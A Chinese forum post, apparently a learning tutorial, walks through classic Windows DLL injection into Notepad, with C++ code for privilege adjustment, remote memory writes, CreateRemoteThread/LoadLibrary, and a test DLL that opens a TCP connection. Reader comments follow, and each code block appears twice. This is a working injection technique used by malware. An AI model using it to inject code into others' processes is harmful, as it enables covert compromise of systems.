前段时间,在论坛看到了这篇文章--> [翻译]十种注入技巧:具有通用性的进程注入技巧研究后,想仔细学习进程注入。平时分析会多些,但很少去实现,如果文章中哪里有错误,欢迎指出,以便及时改正。
OS:Windows 10 PRO 1709IDE:Visual Studio 2015 Community语言:Visual C++
获取目标进程PID。提升Dropper进程权限。打开目标进程。在目标进程内开辟缓冲区,用来存储DLL的路径。找到目标进程中加载的kernel32.dll的句柄,通过该句柄来获取目标进程中kernel32.dll的导出函数LoadLibrary函数的地址。通过CreateRemoteThread函数来调用LoadLibrary,使目标进程加载Payload DLL。
实现:
获取目标进程PID。(本来想注入计算器,但是获取计算器的进程ID的时候总是获取一个辅助进程ID,所以就注入记事本了)。
HANDLE GetThePidOfTargetProcess() { //Get the pid of the process which to be injected. HWND injectionProcessHwnd = FindWindowA(0, "Untitled - Notepad"); DWORD dwInjectionProcessID; GetWindowThreadProcessId(injectionProcessHwnd, &dwInjectionProcessID); cout << "Notepad's pid -> " << dwInjectionProcessID << endl; HANDLE injectionProcessHandle = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID); return injectionProcessHandle; }提升权限。
HANDLE GetThePidOfTargetProcess() { //Get the pid of the process which to be injected. HWND injectionProcessHwnd = FindWindowA(0, "Untitled - Notepad"); DWORD dwInjectionProcessID; GetWindowThreadProcessId(injectionProcessHwnd, &dwInjectionProcessID); cout << "Notepad's pid -> " << dwInjectionProcessID << endl; HANDLE injectionProcessHandle = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID); return injectionProcessHandle; }
void PrivilegeEscalation() { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid = luid; AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); }进行注入。
void PrivilegeEscalation() { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid = luid; AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); }
BOOL DoInjection(char *InjectionDllPath,HANDLE injectionProcessHandle) { DWORD injBufSize = lstrlen((LPCWSTR)InjectionDllPath) + 1; LPVOID AllocAddr = VirtualAllocEx(injectionProcessHandle, NULL, injBufSize, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(injectionProcessHandle, AllocAddr, (void*)InjectionDllPath, injBufSize, NULL); PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); HANDLE hRemoteThread; if ((hRemoteThread = CreateRemoteThread(injectionProcessHandle, NULL, 0, pfnStartAddr, AllocAddr, 0, NULL)) == NULL) { ER = GetLastError(); cout << "Create Remote Thread Failed!" << endl; return FALSE; } else { cout << "Create Remote Thread Success!" << endl; return TRUE; } }*具体的实现代码在附件中上传也会附上GitHub地址。
BOOL DoInjection(char *InjectionDllPath,HANDLE injectionProcessHandle) { DWORD injBufSize = lstrlen((LPCWSTR)InjectionDllPath) + 1; LPVOID AllocAddr = VirtualAllocEx(injectionProcessHandle, NULL, injBufSize, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(injectionProcessHandle, AllocAddr, (void*)InjectionDllPath, injBufSize, NULL); PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); HANDLE hRemoteThread; if ((hRemoteThread = CreateRemoteThread(injectionProcessHandle, NULL, 0, pfnStartAddr, AllocAddr, 0, NULL)) == NULL) { ER = GetLastError(); cout << "Create Remote Thread Failed!" << endl; return FALSE; } else { cout << "Create Remote Thread Success!" << endl; return TRUE; } }
*具体的实现代码在附件中上传也会附上GitHub地址。
在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。这个DLL和一般的DLL实现方式一样,只不过是需要在DLL加载起来的时候,就要执行一些函数。实现:在DllMain中的switch中的DLL_PRPCESS_ATTACH分支下,使用CreateThread函数,对要执行的函数创建进程。
case DLL_PROCESS_ATTACH: std::cout << "DLL_PROCESS_ATTACH" << std::endl; hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)inj, NULL, 0, &dwThreadId);
要执行的函数如下,为了方便使用如PCHunter类工具进行监控,所以该函数实现了一个发送tcp连接包的功能。
void TryConnect() { WSADATA wsa; if (WSAStartup(MAKEWORD(1, 1), &wsa) != 0) { return; } SOCKET m_socket = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN SocketSendIn; SocketSendIn.sin_family = AF_INET; SocketSendIn.sin_addr.S_un.S_addr = inet_addr("114.114.114.114"); SocketSendIn.sin_port = htons(53); connect(m_socket, (SOCKADDR*)&SocketSendIn, sizeof(SOCKADDR)); closesocket(m_socket); WSACleanup(); }
当DLL第一次被映射到进程的地址空间时,会调用DllMain函数,函数的ul_reason_for_call参数的值为DLL_PROCESS_ATTACH。由于加载后并未有线程创建,所以我们需要手动创建一个线程,线程函数即为我们想要执行的函数。创建线程后,会再次调用DllMain函数,此时 ul_reason_for_call参数的值为DLL_THREAD_ATTACH,只有当DLL处理完这一通知后,系统才允许执行线程函数。
由于这种注入在磁盘中留下了DLL文件,隐蔽性非常不好,所以分析时只需看被注入的进程加载的DLL即可找到被注入的DLL。
eBPF安全开发与攻防对抗
MaYil 感谢分享
黑洛 我记得哪本书上说的来着,请尽量不要在DllMain中进行创建线程的操作,很容易导致死锁。如果你再加个WaitForSingleObject肯定就死锁了。
丘嗒山 怎么样才能不调用CreateRemoteThread?
sudozhange 用其他的方法注入,这种方法已经很旧很旧了,现在基本上都没有使用的了
丘嗒山 大佬,求赐教~~,还有你分析x64 内存的截图,用的是啥调试器?
sudozhange x64,我用的是windbg,虽然不太好用吧(不熟练的结果: